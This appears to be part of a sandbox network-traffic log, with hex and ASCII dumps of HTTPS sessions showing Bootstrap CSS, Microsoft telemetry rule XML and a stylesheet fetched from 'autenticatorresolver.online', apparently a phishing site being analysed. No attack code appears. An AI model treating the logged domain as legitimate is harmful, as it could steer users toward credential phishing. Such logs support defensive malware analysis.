2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 62 75 74 74 6f 6e 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 74 65 78 74 61 72 65 61 7b 72 65 73 69 7a 65 3a 76 65 72 74 69 63 61 6c 7d 66 69 65 6c 64 73 65 74 7b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 65 67 65 6e 64 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 32 37 35 72 65 6d Data Ascii: not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 63 28 31 2e 35 32 35 72 65 6d 20 2b 20 33 2e 33 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 34 37 35 72 65 6d 20 2b 20 32 2e 37 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 35 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 35 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: c(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-siz
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 2e 37 35 72 65 6d 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 2c 2e 37 35 72 65 6d 29 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 35 34 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 37 32 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b Data Ascii: .75rem);padding-left:var(--bs-gutter-x,.75rem);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 36 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 7b 66 6c 65 78 3a 31 Data Ascii: -2>{flex:0 0 auto;width:50%}.row-cols-sm-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>{flex:0 0 auto;width:25%}.row-cols-sm-5>{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}}@media (min-width:768px){.col-md{flex:1
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 31 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 36 3e 2a 7b 66 6c 65 Data Ascii: ;width:auto}.row-cols-xxl-1>{flex:0 0 auto;width:100%}.row-cols-xxl-2>{flex:0 0 auto;width:50%}.row-cols-xxl-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>{flex:0 0 auto;width:25%}.row-cols-xxl-5>{flex:0 0 auto;width:20%}.row-cols-xxl-6>{fle
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 2e 67 78 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 34 2c 2e 67 79 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 35 2c 2e 67 78 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 35 2c 2e 67 79 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 73 6d 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 Data Ascii: .gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:1
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 2d 73 6d 2d 34 2c 2e 67 78 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 34 2c 2e 67 79 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 78 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 79 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6d 64 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f Data Ascii: -sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49732	184.30.24.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 12:43:34 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=221871 Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 12:43:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124334Z-174f78459688l8rvhC1EWRtzr0000000082g00000000535a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124334Z-174f7845968j6t2phC1EWRcfe80000000vng0000000053kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124334Z-174f7845968cdxdrhC1EWRg0en0000000vf0000000003yec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124334Z-174f7845968qj8jrhC1EWRh41s0000000va000000000at1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124334Z-174f7845968n2hr8hC1EWR9cag0000000v10000000009fq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49739	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	593	OUT	GET /assets/global/pdf/css/app.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/m6kgte57 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:35 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:35 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 02 Dec 2024 07:33:34 GMT etag: W/"17e2-66d40740-10b4bb;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 105001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YNfinMQrgnoUjoKl5bCpdeYLs0P%2FtztacJ0UAORO1y8tOPU%2FKQOdsy09WQrcOUjkRdq4svWIJyZRfSDR9vpT4ijAZtCIBj%2BqxXVaDIr2RMKZw3i1SH0S0m7KLY76HmiOBQWfcPHM3Z8eBcKJ74%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f708ba908c6c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1945&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1171&delivery_rate=1517671&cwnd=168&unsent_bytes=0&cid=56123feee606e78c&ts=457&x=0"
2024-11-26 12:43:35 UTC	414	IN	Data Raw: 31 37 65 32 0d 0a 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 62 6f 64 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 54 75 6e 67 61 2c 22 4c 61 6f 20 55 49 22 2c 52 61 61 76 69 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 4c 61 Data Ascii: 17e2 *{box-sizing:border-box}body{font-weight:400;font-family:"Segoe UI",-apple-system,"Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",La
